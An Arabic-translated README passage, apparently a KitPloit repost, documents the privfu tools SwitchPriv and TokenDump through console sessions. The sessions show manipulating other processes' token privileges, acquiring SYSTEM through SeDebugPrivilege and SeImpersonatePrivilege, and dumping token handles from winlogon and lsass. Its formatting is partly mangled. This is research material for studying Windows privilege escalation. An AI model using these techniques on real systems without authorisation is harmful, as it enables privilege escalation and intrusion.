PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeShutdownPrivilege           Disabled
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeUndockPrivilege             Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege           Disabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

عندما لا يتم تحديد خيار -p، سيكون PID هو PID الأصلي لهذه الأداة:``` PS C:\Dev> .\SwitchPriv.exe -g

[>] Trying to get available token privilege(s) for the target process. [] Target PID : 6772 [] Process Name : powershell [+] Got 5 token privilege(s).

PRIVILEGES INFORMATION

Privilege Name State ============================= ========================= SeShutdownPrivilege Disabled SeChangeNotifyPrivilege EnabledByDefault, Enabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Disabled

[] Integrity Level : Medium Mandatory Level [] Done.

root@kitploit:~
اسم الامتياز المراد التحكم فيه يُحدد بأي سلسلة نصية غير حساسة لحالة الأحرف يمكنها تحديد اسم امتياز فريد من بين الامتيازات المتاحة للعملية المستهدفة.
على سبيل المثال، لتمكين `SeUndockPrivilege` للعملية المستهدفة، قم بالتنفيذ باستخدام الخيار `--enable` كما يلي:```
PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] Got 5 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeShutdownPrivilege           Disabled
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeUndockPrivilege             Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege           Disabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

PS C:\Dev> .\SwitchPriv.exe -p 9408 -e und

[>] Trying to enable a token privilege.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] SeUndockPrivilege is enabled successfully.
[*] Done.

PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] Got 5 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeShutdownPrivilege           Disabled
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeUndockPrivilege             Enabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege           Disabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

عندما تقوم بتعيين سلسلة غير صحيحة لا يمكنها تحديد اسم صلاحية فريد، ستحصل على الرسالة التالية:``` PS C:\Dev> .\SwitchPriv.exe -p 9408 -e se

[>] Trying to enable a token privilege. [] Target PID : 9408 [] Process Name : Notepad [-] Cannot specify a unique privilege to enable. [] SeShutdownPrivilege [] SeChangeNotifyPrivilege [] SeUndockPrivilege [] SeIncreaseWorkingSetPrivilege [] SeTimeZonePrivilege [] Done.

root@kitploit:~
على سبيل المثال، لتمكين SeChangeNotifyPrivilege، قم بالتنفيذ باستخدام الخيار `--disable` كما يلي:```
PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] Got 5 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeShutdownPrivilege           Disabled
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeUndockPrivilege             Enabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege           Disabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

PS C:\Dev> .\SwitchPriv.exe -p 9408 -d chan

[>] Trying to disable a token privilege.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] SeChangeNotifyPrivilege is disabled successfully.
[*] Done.

PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] Got 5 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= ==========================
SeShutdownPrivilege           Disabled
SeChangeNotifyPrivilege       EnabledByDefault, Disabled
SeUndockPrivilege             Enabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege           Disabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

لإزالة الامتياز، استخدم الخيار --remove كما يلي:``` PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process. [] Target PID : 9408 [] Process Name : Notepad [+] Got 5 token privilege(s).

PRIVILEGES INFORMATION

Privilege Name State ============================= ========================== SeShutdownPrivilege Disabled SeChangeNotifyPrivilege EnabledByDefault, Disabled SeUndockPrivilege Enabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Disabled

[] Integrity Level : Medium Mandatory Level [] Done.

PS C:\Dev> .\SwitchPriv.exe -p 9408 -r inc

[>] Trying to remove a token privilege. [] Target PID : 9408 [] Process Name : Notepad [+] SeIncreaseWorkingSetPrivilege is removed successfully. [*] Done.

PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process. [] Target PID : 9408 [] Process Name : Notepad [+] Got 4 token privilege(s).

PRIVILEGES INFORMATION

Privilege Name State ======================= ========================== SeShutdownPrivilege Disabled SeChangeNotifyPrivilege EnabledByDefault, Disabled SeUndockPrivilege Enabled SeTimeZonePrivilege Disabled

[] Integrity Level : Medium Mandatory Level [] Done.

root@kitploit:~
إذا كنت ترغب في اختبار صلاحية معينة، يمكنك إزالة جميع الصلاحيات الأخرى غير التي تريد اختبارها باستخدام الخيار `-f` كما يلي:```
PS C:\Dev> .\SwitchPriv.exe -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 4392
    [*] Process Name : powershell
[+] Got 5 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeShutdownPrivilege           Enabled
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeUndockPrivilege             Enabled
SeIncreaseWorkingSetPrivilege Enabled
SeTimeZonePrivilege           Enabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

PS C:\Dev> .\SwitchPriv.exe -f tim

[>] Trying to remove all token privileges except one.
    [*] Target PID   : 4392
    [*] Process Name : powershell
[>] Trying to remove all privileges except for SeTimeZonePrivilege.
[+] SeShutdownPrivilege is removed successfully.
[+] SeChangeNotifyPrivilege is removed successfully.
[+] SeUndockPrivilege is removed successfully.
[+] SeIncreaseWorkingSetPrivilege is removed successfully.
[*] Done.

PS C:\Dev> .\SwitchPriv.exe -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 4392
    [*] Process Name : powershell
[+] Got 1 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name      State
=================== =======
SeTimeZonePrivilege Enabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

يمكنك استخدام قيمة مفصولة بفواصل لتصفية أذونات متعددة كما يلي:``` PS C:\Dev> .\SwitchPriv.exe -p 24300 -g

[>] Trying to get available token privilege(s) for the target process. [] Target PID : 24300 [] Process Name : powershell [+] Got 24 token privilege(s).

PRIVILEGES INFORMATION

Privilege Name State ========================================= ========================= SeIncreaseQuotaPrivilege Disabled SeSecurityPrivilege Disabled SeTakeOwnershipPrivilege Disabled SeLoadDriverPrivilege Disabled SeSystemProfilePrivilege Disabled SeSystemtimePrivilege Disabled SeProfileSingleProcessPrivilege Disabled SeIncreaseBasePriorityPrivilege Disabled SeCreatePagefilePrivilege Disabled SeBackupPrivilege Disabled SeRestorePrivilege Disabled SeShutdownPrivilege Disabled SeDebugPrivilege Enabled SeSystemEnvironmentPrivilege Disabled SeChangeNotifyPrivilege EnabledByDefault, Enabled SeRemoteShutdownPrivilege Disabled SeUndockPrivilege Disabled SeManageVolumePrivilege Disabled SeImpersonatePrivilege EnabledByDefault, Enabled SeCreateGlobalPrivilege EnabledByDefault, Enabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Disabled SeCreateSymbolicLinkPrivilege Disabled SeDelegateSessionUserImpersonatePrivilege Disabled

[] Integrity Level : High Mandatory Level [] Done.

PS C:\Dev> .\SwitchPriv.exe -p 24300 -f rest,back,deb

[>] Trying to remove all token privileges except one. [] Target PID : 24300 [] Process Name : powershell [>] Trying to remove privileges other than follows. [] SeBackupPrivilege [] SeRestorePrivilege [] SeDebugPrivilege [+] SeIncreaseQuotaPrivilege is removed successfully. [+] SeSecurityPrivilege is removed successfully. [+] SeTakeOwnershipPrivilege is removed successfully. [+] SeLoadDriverPrivilege is removed successfully. [+] SeSystemProfilePrivilege is removed successfully. [+] SeSystemtimePrivilege is removed successfully. [+] SeProfileSingleProcessPrivilege is removed successfully. [+] SeIncreaseBasePriorityPrivilege is removed successfully. [+] SeCreatePagefilePrivilege is removed successfully. [+] SeShutdownPrivilege is removed successfully. [+] SeSystemEnvironmentPrivilege is removed successfully. [+] SeChangeNotifyPrivilege is removed successfully. [+] SeRemoteShutdownPrivilege is removed successfully. [+] SeUndockPrivilege is removed successfully. [+] SeManageVolumePrivilege is removed successfully. [+] SeImpersonatePrivilege is removed successfully. [+] SeCreateGlobalPrivilege is removed successfully. [+] SeIncreaseWorkingSetPrivilege is removed successfully. [+] SeTimeZonePrivilege is removed successfully. [+] SeCreateSymbolicLinkPrivilege is removed successfully. [+] SeDelegateSessionUserImpersonatePrivilege is removed successfully. [] Done.

PS C:\Dev> .\SwitchPriv.exe -p 24300 -g

[>] Trying to get available token privilege(s) for the target process. [] Target PID : 24300 [] Process Name : powershell [+] Got 3 token privilege(s).

PRIVILEGES INFORMATION

Privilege Name State ========================= ======== SeBackupPrivilege Disabled SeRestorePrivilege Disabled SeDebugPrivilege Enabled

[] Integrity Level : High Mandatory Level [] Done.

root@kitploit:~
لتمكين أو تعطيل أو إزالة جميع امتيازات الرمز المميز المتاحة، حدد `all` كقيمة لخيار `--enable` أو `--disable` أو `--remove`:```
PS C:\Dev> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled
PS C:\Dev> .\SwitchPriv.exe -e all

[>] Trying to enable all token privileges.
    [*] Target PID   : 6772
    [*] Process Name : powershell
[+] SeShutdownPrivilege is enabled successfully.
[+] SeUndockPrivilege is enabled successfully.
[+] SeIncreaseWorkingSetPrivilege is enabled successfully.
[+] SeTimeZonePrivilege is enabled successfully.
[*] Done.

PS C:\Dev> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== =======
SeShutdownPrivilege           Shut down the system                 Enabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Enabled
SeTimeZonePrivilege           Change the time zone                 Enabled

للعثور على عملية لها صلاحية محددة، استخدم الخيار -s كما يلي:``` PS C:\Dev> .\SwitchPriv.exe -s createt

[>] Searching processes have SeCreateTokenPrivilege. [+] Got 5 process(es). [] Memory Compression (PID : 2548) [] smss (PID : 372) [] lsass (PID : 736) [] csrss (PID : 584) [] csrss (PID : 504) [] Access is denied by following 2 process(es). [] System (PID : 4) [] Idle (PID : 0) [*] Done.

PS C:\Dev> .\SwitchPriv.exe -g -p 2548

[>] Trying to get available token privilege(s) for the target process. [] Target PID : 2548 [] Process Name : Memory Compression [+] Got 31 token privilege(s).

PRIVILEGES INFORMATION

Privilege Name State ========================================= ========================= SeCreateTokenPrivilege Disabled SeAssignPrimaryTokenPrivilege Disabled SeLockMemoryPrivilege EnabledByDefault, Enabled SeIncreaseQuotaPrivilege Disabled SeTcbPrivilege EnabledByDefault, Enabled SeSecurityPrivilege Disabled SeTakeOwnershipPrivilege Disabled SeLoadDriverPrivilege Disabled SeSystemProfilePrivilege EnabledByDefault, Enabled SeSystemtimePrivilege Disabled SeProfileSingleProcessPrivilege EnabledByDefault, Enabled SeIncreaseBasePriorityPrivilege EnabledByDefault, Enabled SeCreatePagefilePrivilege EnabledByDefault, Enabled SeCreatePermanentPrivilege EnabledByDefault, Enabled SeBackupPrivilege Disabled SeRestorePrivilege Disabled SeShutdownPrivilege Disabled SeDebugPrivilege EnabledByDefault, Enabled SeAuditPrivilege EnabledByDefault, Enabled SeSystemEnvironmentPrivilege Disabled SeChangeNotifyPrivilege EnabledByDefault, Enabled SeUndockPrivilege Disabled SeManageVolumePrivilege Disabled SeImpersonatePrivilege EnabledByDefault, Enabled SeCreateGlobalPrivilege EnabledByDefault, Enabled SeTrustedCredManAccessPrivilege Disabled SeRelabelPrivilege Disabled SeIncreaseWorkingSetPrivilege EnabledByDefault, Enabled SeTimeZonePrivilege EnabledByDefault, Enabled SeCreateSymbolicLinkPrivilege EnabledByDefault, Enabled SeDelegateSessionUserImpersonatePrivilege EnabledByDefault, Enabled

[] Integrity Level : System Mandatory Level [] Done.

root@kitploit:~
إذا كنت ترغب في تعيين مستوى التكامل، استخدم الخيار `--integrity` كما يلي:```
PS C:\Dev> whoami /groups | findstr /i level
Mandatory Label\Medium Mandatory Level                        Label            S-1-16-8192

PS C:\Dev> .\SwitchPriv.exe -i 1

[>] Trying to update Integrity Level.
    [*] Target PID   : 3436
    [*] Process Name : powershell
[>] Trying to update Integrity Level to LOW_MANDATORY_LEVEL.
[+] Integrity Level is updated successfully.
[*] Done.

PS C:\Dev> whoami /groups | findstr /i level
Mandatory Label\Low Mandatory Level                           Label            S-1-16-4096

لتنفيذ أي إجراءات بصلاحية SYSTEM، قم بتعيين العلامة -S كما يلي (SeDebugPrivilege و SeImpersonatePrivilege مطلوبان):``` PS C:\Dev> .\SwitchPriv.exe -g -p 2548 -S

[>] Trying to get available token privilege(s) for the target process. [] Target PID : 2548 [] Process Name : Memory Compression [>] Trying to get SYSTEM. [+] Got SYSTEM privilege. [+] Got 31 token privilege(s).

PRIVILEGES INFORMATION

Privilege Name State ========================================= ========================= SeCreateTokenPrivilege Disabled SeAssignPrimaryTokenPrivilege Disabled SeLockMemoryPrivilege EnabledByDefault, Enabled SeIncreaseQuotaPrivilege Disabled SeTcbPrivilege EnabledByDefault, Enabled SeSecurityPrivilege Disabled SeTakeOwnershipPrivilege Disabled SeLoadDriverPrivilege Disabled SeSystemProfilePrivilege EnabledByDefault, Enabled SeSystemtimePrivilege Disabled SeProfileSingleProcessPrivilege EnabledByDefault, Enabled SeIncreaseBasePriorityPrivilege EnabledByDefault, Enabled SeCreatePagefilePrivilege EnabledByDefault, Enabled SeCreatePermanentPrivilege EnabledByDefault, Enabled SeBackupPrivilege Disabled SeRestorePrivilege Disabled SeShutdownPrivilege Disabled SeDebugPrivilege EnabledByDefault, Enabled SeAuditPrivilege EnabledByDefault, Enabled SeSystemEnvironmentPrivilege Disabled SeChangeNotifyPrivilege EnabledByDefault, Enabled SeUndockPrivilege Disabled SeManageVolumePrivilege Disabled SeImpersonatePrivilege EnabledByDefault, Enabled SeCreateGlobalPrivilege EnabledByDefault, Enabled SeTrustedCredManAccessPrivilege Disabled SeRelabelPrivilege Disabled SeIncreaseWorkingSetPrivilege EnabledByDefault, Enabled SeTimeZonePrivilege EnabledByDefault, Enabled SeCreateSymbolicLinkPrivilege EnabledByDefault, Enabled SeDelegateSessionUserImpersonatePrivilege EnabledByDefault, Enabled

[] Integrity Level : System Mandatory Level [] Done.

root@kitploit:~
## TokenDump

[العودة إلى الأعلى](#privfu)

[المشروع](https://github.com/daem0nc0re/privfu/blob/main/TokenDump)

هذه الأداة هي أداة مساعدة لفحص معلومات الرمز المميز:```
C:\Dev>.\TokenDump.exe -h

TokenDump - Tool to dump processs token information.

Usage: TokenDump.exe [Options]

        -h, --help    : Displays this help message.
        -d, --debug   : Flag to enable SeDebugPrivilege.
        -e, --enum    : Flag to enumerate brief information tokens for processes or handles.
        -T, --thread  : Flag to scan thead tokens. Use with -e option.
        -H, --handle  : Flag to scan token handles. Use with -e option.
        -s, --scan    : Flag to get verbose information for a specific process, thread or handle.
        -a, --account : Specifies account name filter string. Use with -e flag.
        -p, --pid     : Specifies a target PID in decimal format. Use with -s flag, or -e and -H flag.
        -t, --tid     : Specifies a target TID in decimal format. Use with -s flag and -p option.
        -v, --value   : Specifies a token handle value in hex format. Use with -s flag and -p option.

لتعداد token لجميع العمليات، قم فقط بتعيين العلم -e:``` C:\Dev>.\TokenDump.exe -e

[>] Trying to enumerate process token.

PID Session Process Name Token User Integrity Restricted AppContainer ==== ======= =========================== ============================ ========= ========== ============ 5004 0 svchost.exe NT AUTHORITY\SYSTEM System False False 3728 0 conhost.exe NT AUTHORITY\SYSTEM System False False

--snip--

6712 0 svchost.exe NT AUTHORITY\LOCAL SERVICE System False False 1972 0 svchost.exe NT AUTHORITY\SYSTEM System False False

[+] Got 129 token information. [] Found 7 account(s). [] NT AUTHORITY\SYSTEM [] dev22h2\user [] NT AUTHORITY\LOCAL SERVICE [] NT AUTHORITY\NETWORK SERVICE [] Font Driver Host\UMFD-0 [] Font Driver Host\UMFD-1 [] Window Manager\DWM-1 [*] Done.

root@kitploit:~
إذا كنت ترغب في تمكين SeDebugPrivilege، قم بتعيين العلم `-d` كما يلي:```
C:\Dev>.\TokenDump.exe -e -d

[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to enumerate process token.

 PID Session Process Name                Token User                   Integrity Restricted AppContainer
==== ======= =========================== ============================ ========= ========== ============
5004       0 svchost.exe                 NT AUTHORITY\SYSTEM          System    False      False
3728       0 conhost.exe                 NT AUTHORITY\SYSTEM          System    False      False
3740       0 vm3dservice.exe             NT AUTHORITY\SYSTEM          System    False      False

--snip--

عند تعيين العلم -H مع العلم -e، يحاول TokenDump تعداد معلومات مقابض Token:``` C:\Dev>.\TokenDump.exe -e -H -d

[>] Trying to enable SeDebugPrivilege. [+] SeDebugPrivilege is enabled successfully. [>] Trying to enumerate token handles.

[Token Handle(s) - winlogon.exe (PID: 704)]

Handle Session Token User Integrity Restricted AppContainer Token Type Impersonation Level ====== ======= =================== ========= ========== ============ ============= =================== 0x2B0 1 NT AUTHORITY\SYSTEM System False False Primary Anonymous 0x2B4 1 NT AUTHORITY\SYSTEM System False False Primary Anonymous 0x38C 1 dev22h2\user Medium False False Primary Impersonation

--snip--

[Token Handle(s) - svchost.exe (PID: 3272)]

Handle Session Token User Integrity Restricted AppContainer Token Type Impersonation Level ====== ======= ========================== ========= ========== ============ ========== =================== 0x168 0 NT AUTHORITY\LOCAL SERVICE System False False Primary Anonymous

[+] Got 819 handle(s). [] Found 8 account(s). [] NT AUTHORITY\SYSTEM [] dev22h2\user [] Font Driver Host\UMFD-1 [] Font Driver Host\UMFD-0 [] NT AUTHORITY\NETWORK SERVICE [] Window Manager\DWM-1 [] NT AUTHORITY\LOCAL SERVICE [] NT AUTHORITY\ANONYMOUS LOGON [] Done.

root@kitploit:~
عند تحديد PID باستخدام الخيار `-p`، يقوم TokenDup بتعداد مقابض العملية المحددة فقط:```
C:\Dev>.\TokenDump.exe -e -H -d -p 704

[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to enumerate token handles.

[Token Handle(s) - winlogon.exe (PID: 704)]

Handle Session Token User          Integrity Restricted AppContainer Token Type    Impersonation Level
====== ======= =================== ========= ========== ============ ============= ===================
 0x2B0       1 NT AUTHORITY\SYSTEM System    False      False        Primary       Anonymous
 0x2B4       1 NT AUTHORITY\SYSTEM System    False      False        Primary       Anonymous
 0x38C       1 dev22h2\user        Medium    False      False        Primary       Impersonation
 0x398       1 dev22h2\user        High      False      False        Primary       Identification
 0x3C4       1 dev22h2\user        Medium    False      False        Impersonation Impersonation
 0x3C8       1 dev22h2\user        Medium    False      False        Impersonation Impersonation
 0x3D0       1 dev22h2\user        Medium    False      False        Impersonation Impersonation
 0x3D4       1 dev22h2\user        Medium    False      False        Impersonation Impersonation

[+] Got 8 handle(s).
[*] Found 2 account(s).
    [*] NT AUTHORITY\SYSTEM
    [*] dev22h2\user
[*] Done.

لتعداد رمز مؤشر الترابط المنتحل، قم بتعيين العلم -T بالإضافة إلى العلم -e كما يلي:``` C:\Dev>.\TokenDump.exe -e -T -d

[>] Trying to enable SeDebugPrivilege. [+] SeDebugPrivilege is enabled successfully. [>] Trying to enumerate impersonated threads.

PID TID Session Process Name Token User Integrity Impersonation Level ==== ==== ======= ============ =================== ========= =================== 1952 2000 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation 1952 2300 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation 3516 4348 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation 3516 4656 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation

[+] Got 4 thread(s). [] Found 1 account(s). [] NT AUTHORITY\SYSTEM [*] Done.

root@kitploit:~
إذا كنت ترغب في تصفية هذه النتائج باستخدام اسم مستخدم الرمز المميز، قم بتعيين سلسلة التصفية كقيمة الخيار `-a` على النحو التالي:```
C:\Dev>.\TokenDump.exe -e -a network -d

[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to enumerate process token.

 PID Session Process Name Token User                   Integrity Restricted AppContainer
==== ======= ============ ============================ ========= ========== ============
1932       0 svchost.exe  NT AUTHORITY\NETWORK SERVICE System    False      False
3500       0 svchost.exe  NT AUTHORITY\NETWORK SERVICE System    False      False
2904       0 svchost.exe  NT AUTHORITY\NETWORK SERVICE System    False      False
2504       0 svchost.exe  NT AUTHORITY\NETWORK SERVICE System    False      False
7012       0 msdtc.exe    NT AUTHORITY\NETWORK SERVICE System    False      False
7092       0 sppsvc.exe   NT AUTHORITY\NETWORK SERVICE System    False      False
1676       0 svchost.exe  NT AUTHORITY\NETWORK SERVICE System    False      False
3584       0 WmiPrvSE.exe NT AUTHORITY\NETWORK SERVICE System    False      False
1000       0 svchost.exe  NT AUTHORITY\NETWORK SERVICE System    False      False

[+] Got 9 token information.
[*] Found 7 account(s).
    [*] NT AUTHORITY\SYSTEM
    [*] dev22h2\user
    [*] NT AUTHORITY\LOCAL SERVICE
    [*] NT AUTHORITY\NETWORK SERVICE
    [*] Font Driver Host\UMFD-0
    [*] Font Driver Host\UMFD-1
    [*] Window Manager\DWM-1
[*] Done.

C:\Dev>.\TokenDump.exe -e -a network -d -H

[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to enumerate token handles.

[Token Handle(s) - lsass.exe (PID: 768)]

Handle Session Token User                   Integrity Restricted AppContainer Token Type    Impersonation Level
====== ======= ============================ ========= ========== ============ ============= ===================
 0x914       0 NT AUTHORITY\NETWORK SERVICE System    False      False        Impersonation Impersonation

--snip--

[Token Handle(s) - msdtc.exe (PID: 7012)]

Handle Session Token User                   Integrity Restricted AppContainer Token Type Impersonation Level
====== ======= ============================ ========= ========== ============ ========== ===================
 0x23C       0 NT AUTHORITY\NETWORK SERVICE System    False      False        Primary    Anonymous

[+] Got 27 handle(s).
[*] Found 8 account(s).
    [*] NT AUTHORITY\SYSTEM
    [*] dev22h2\user
    [*] Font Driver Host\UMFD-1
    [*] Font Driver Host\UMFD-0
    [*] NT AUTHORITY\NETWORK SERVICE
    [*] Window Manager\DWM-1
    [*] NT AUTHORITY\LOCAL SERVICE
    [*] NT AUTHORITY\ANONYMOUS LOGON
[*] Done.

للحصول على معلومات مفصلة حول عملية معينة، قم بتعيين العلامة -s و PID المستهدف كقيمة للخيار -p:``` C:\Dev>.\TokenDump.exe -s -p 5996

[>] Trying to dump process token information.

[Token Information for StartMenuExperienceHost.exe (PID: 5996)]

ImageFilePath : C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe CommandLine : "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca Token User : dev22h2\user (SID: S-1-5-21-3896868301-3921591151-1374190648-1001) Token Owner : dev22h2\user (SID: S-1-5-21-3896868301-3921591151-1374190648-1001) Primary Group : dev22h2\None (SID: S-1-5-21-3896868301-3921591151-1374190648-513) Token Type : Primary Impersonation Level : Anonymous Token ID : 0x0000000000063D9A Authentication ID : 0x000000000001DFE5 Original ID : 0x00000000000003E7 Modified ID : 0x0000000000063D24 Integrity Level : Low Protection Level : N/A Session ID : 1 Elevation Type : Limited Mandatory Policy : NoWriteUp Elevated : False AppContainer : True TokenFlags : VirtualizeAllowed, IsFiltered, LowBox AppContainer Name : microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy AppContainer SID : S-1-15-2-515815643-2845804217-1874292103-218650560-777617685-4287762684-137415000 AppContainer Number : 2 Has Linked Token : True Token Source : User32 Token Source ID : 0x000000000001DE9D

root@kitploit:~
PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeIncreaseWorkingSetPrivilege Disabled


GROUP INFORMATION
-----------------

Group Name                                                    Attributes
============================================================= =============================================
dev22h2\None                                                  Mandatory, EnabledByDefault, Enabled
Everyone                                                      Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Local account and member of Administrators group UseForDenyOnly
BUILTIN\Administrators                                        UseForDenyOnly
BUILTIN\Users                                                 Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\INTERACTIVE                                      Mandatory, EnabledByDefault, Enabled
CONSOLE LOGON                                                 Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Authenticated Users                              Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\This Organization                                Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Local account                                    Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\LogonSessionId_0_122425                          Mandatory, EnabledByDefault, Enabled, LogonId
LOCAL                                                         Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\NTLM Authentication                              Mandatory, EnabledByDefault, Enabled
Mandatory Label\Low Mandatory Level                           Integrity, IntegrityEnabled


APPCONTAINER CAPABILITIES
-------------------------

Capability Name                                                            Flags
========================================================================== =======
APPLICATION PACKAGE AUTHORITY\Your Internet connection                     Enabled
APPLICATION PACKAGE AUTHORITY\Your home or work networks                   Enabled
NAMED CAPABILITIES\PackageQuery                                            Enabled
NAMED CAPABILITIES\ActivitySystem                                          Enabled
NAMED CAPABILITIES\PreviewStore                                            Enabled
NAMED CAPABILITIES\CortanaPermissions                                      Enabled
NAMED CAPABILITIES\AppointmentsSystem                                      Enabled
NAMED CAPABILITIES\TeamEditionExperience                                   Enabled
NAMED CAPABILITIES\ShellExperience                                         Enabled
NAMED CAPABILITIES\PackageContents                                         Enabled
NAMED CAPABILITIES\VisualElementsSystem                                    Enabled
NAMED CAPABILITIES\UserAccountInformation                                  Enabled
NAMED CAPABILITIES\ActivityData                                            Enabled
NAMED CAPABILITIES\CloudStore                                              Enabled
NAMED CAPABILITIES\TargetedContent                                         Enabled
NAMED CAPABILITIES\StoreAppInstall                                         Enabled
NAMED CAPABILITIES\StoreLicenseManagement                                  Enabled
NAMED CAPABILITIES\CortanaSettings                                         Enabled
NAMED CAPABILITIES\DependencyTarget                                        Enabled
NAMED CAPABILITIES\SearchSettings                                          Enabled
NAMED CAPABILITIES\CellularData                                            Enabled
NAMED CAPABILITIES\WifiData                                                Enabled
PACKAGE CAPABILITY\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy Enabled
NAMED CAPABILITIES\AccessoryManager                                        Enabled
NAMED CAPABILITIES\UserAccountInformation                                  Enabled


DACL INFORMATION
----------------

Account Name                                            Access                      Flags Type
======================================================= =========================== ===== =============
dev22h2\user                                            GenericAll                  None  AccessAllowed
NT AUTHORITY\SYSTEM                                     GenericAll                  None  AccessAllowed
NT AUTHORITY\LogonSessionId_0_122425                    GenericExecute, GenericRead None  AccessAllowed
microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy GenericAll                  None  AccessAllowed


SECURITY ATTRIBUTES INFORMATION
-------------------------------

[*] WIN://SYSAPPID
    Flags : None
    Type  : String
        Value[0x00] : Microsoft.Windows.StartMenuExperienceHost_10.0.22621.1_neutral_neutral_cw5n1h2txyewy
        Value[0x01] : App
        Value[0x02] : Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy

[*] WIN://PKG
    Flags : None
    Type  : UInt64
        Value[0x00] : 0x0000000200000001

[*] WIN://PKGHOSTID
    Flags : None
    Type  : UInt64
        Value[0x00] : 0x1000000000000001

[*] TSA://ProcUnique
    Flags : NonInheritable, Unique
    Type  : UInt64
        Value[0x00] : 0x0000000000000041
        Value[0x01] : 0x0000000000063D9B

[Linked Token Information for StartMenuExperienceHost.exe (PID: 5996)]

Token User : dev22h2\user (SID: S-1-5-21-3896868301-3921591151-1374190648-1001) Token Owner : BUILTIN\Administrators (SID: S-1-5-32-544) Primary Group : dev22h2\None (SID: S-1-5-21-3896868301-3921591151-1374190648-513) Token Type : Impersonation Impersonation Level : Identification Token ID : 0x000000000016ECE6 Authentication ID : 0x000000000001DF83 Original ID : 0x00000000000003E7 Modified ID : 0x000000000001DFE4 Integrity Level : High Protection Level : N/A Session ID : 1 Elevation Type : Full Mandatory Policy : NoWriteUp, NewProcessMin Elevated : True AppContainer : False TokenFlags : NotLow Token Source : User32 Token Source ID : 0x000000000001DE9D

root@kitploit:~
PRIVILEGES INFORMATION
----------------------

